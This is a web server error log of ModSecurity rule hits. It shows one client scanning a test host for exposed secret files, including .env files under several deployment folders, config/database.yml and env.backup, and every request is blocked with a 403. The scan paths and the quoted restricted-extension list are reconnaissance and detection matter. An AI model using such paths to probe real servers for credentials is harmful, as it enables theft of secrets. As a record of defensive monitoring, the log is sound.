[Thu Feb 26 01:02:46.752401 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/deployment/.env&quot;] [unique_id &quot;aZ-Npg3HqGC30X9HPoEkUQAAAAM&quot;]
[Thu Feb 26 01:02:46.775830 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/.env&quot;] [unique_id &quot;aZ-Npg3HqGC30X9HPoEkUgAAAAM&quot;]
[Thu Feb 26 01:02:46.776105 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/.env&quot;] [unique_id &quot;aZ-Npg3HqGC30X9HPoEkUgAAAAM&quot;]
[Thu Feb 26 01:02:46.776276 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/.env&quot;] [unique_id &quot;aZ-Npg3HqGC30X9HPoEkUgAAAAM&quot;]
[Thu Feb 26 01:02:46.812506 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /helm/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/helm/.env&quot;] [unique_id &quot;aZ-Npg3HqGC30X9HPoEkUwAAAAM&quot;]
[Thu Feb 26 01:02:46.812794 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/helm/.env&quot;] [unique_id &quot;aZ-Npg3HqGC30X9HPoEkUwAAAAM&quot;]
[Thu Feb 26 01:02:46.812975 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/helm/.env&quot;] [unique_id &quot;aZ-Npg3HqGC30X9HPoEkUwAAAAM&quot;]
[Thu Feb 26 01:02:46.827122 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /awstats/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/awstats/.env&quot;] [unique_id &quot;aZ-NpoCbt-ue5ARpbmjkzwAAAAI&quot;]
[Thu Feb 26 01:02:46.827411 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/awstats/.env&quot;] [unique_id &quot;aZ-NpoCbt-ue5ARpbmjkzwAAAAI&quot;]
[Thu Feb 26 01:02:46.827611 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/awstats/.env&quot;] [unique_id &quot;aZ-NpoCbt-ue5ARpbmjkzwAAAAI&quot;]
[Thu Feb 26 01:02:46.862318 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /terraform/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/terraform/.env&quot;] [unique_id &quot;aZ-Npg3HqGC30X9HPoEkVAAAAAM&quot;]
[Thu Feb 26 01:02:46.862629 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/terraform/.env&quot;] [unique_id &quot;aZ-Npg3HqGC30X9HPoEkVAAAAAM&quot;]
[Thu Feb 26 01:02:46.862806 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/terraform/.env&quot;] [unique_id &quot;aZ-Npg3HqGC30X9HPoEkVAAAAAM&quot;]
[Thu Feb 26 01:02:46.875990 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /conf/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conf/.env&quot;] [unique_id &quot;aZ-NpoCbt-ue5ARpbmjk0AAAAAI&quot;]
[Thu Feb 26 01:02:46.876247 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conf/.env&quot;] [unique_id &quot;aZ-NpoCbt-ue5ARpbmjk0AAAAAI&quot;]
[Thu Feb 26 01:02:46.876408 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conf/.env&quot;] [unique_id &quot;aZ-NpoCbt-ue5ARpbmjk0AAAAAI&quot;]
[Thu Feb 26 01:02:46.887425 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ansible/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ansible/.env&quot;] [unique_id &quot;aZ-Npg3HqGC30X9HPoEkVQAAAAM&quot;]
[Thu Feb 26 01:02:46.887654 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ansible/.env&quot;] [unique_id &quot;aZ-Npg3HqGC30X9HPoEkVQAAAAM&quot;]
[Thu Feb 26 01:02:46.887799 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ansible/.env&quot;] [unique_id &quot;aZ-Npg3HqGC30X9HPoEkVQAAAAM&quot;]
[Thu Feb 26 01:02:46.900051 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /cron/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cron/.env&quot;] [unique_id &quot;aZ-NpoCbt-ue5ARpbmjk0QAAAAI&quot;]
[Thu Feb 26 01:02:46.900285 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cron/.env&quot;] [unique_id &quot;aZ-NpoCbt-ue5ARpbmjk0QAAAAI&quot;]
[Thu Feb 26 01:02:46.900440 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cron/.env&quot;] [unique_id &quot;aZ-NpoCbt-ue5ARpbmjk0QAAAAI&quot;]
[Thu Feb 26 01:02:46.931220 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /www/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/www/.env&quot;] [unique_id &quot;aZ-NpoCbt-ue5ARpbmjk0gAAAAI&quot;]
[Thu Feb 26 01:02:46.931425 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/www/.env&quot;] [unique_id &quot;aZ-NpoCbt-ue5ARpbmjk0gAAAAI&quot;]
[Thu Feb 26 01:02:46.931588 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/www/.env&quot;] [unique_id &quot;aZ-NpoCbt-ue5ARpbmjk0gAAAAI&quot;]
[Thu Feb 26 01:02:46.979122 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;database.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: database.yml found within REQUEST_FILENAME: /config/database.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/database.yml&quot;] [unique_id &quot;aZ-Npg3HqGC30X9HPoEkWAAAAAM&quot;]
[Thu Feb 26 01:02:46.979368 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/database.yml&quot;] [unique_id &quot;aZ-Npg3HqGC30X9HPoEkWAAAAAM&quot;]
[Thu Feb 26 01:02:46.979536 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/database.yml&quot;] [unique_id &quot;aZ-Npg3HqGC30X9HPoEkWAAAAAM&quot;]
[Thu Feb 26 01:02:46.982284 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/app/.env&quot;] [unique_id &quot;aZ-NpoCbt-ue5ARpbmjk0wAAAAI&quot;]
[Thu Feb 26 01:02:46.982541 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/app/.env&quot;] [unique_id &quot;aZ-NpoCbt-ue5ARpbmjk0wAAAAI&quot;]
[Thu Feb 26 01:02:46.982701 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/app/.env&quot;] [unique_id &quot;aZ-NpoCbt-ue5ARpbmjk0wAAAAI&quot;]
[Thu Feb 26 01:02:47.023885 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env.backup&quot;] [unique_id &quot;aZ-Np4Cbt-ue5ARpbmjk1AAAAAI&quot;]
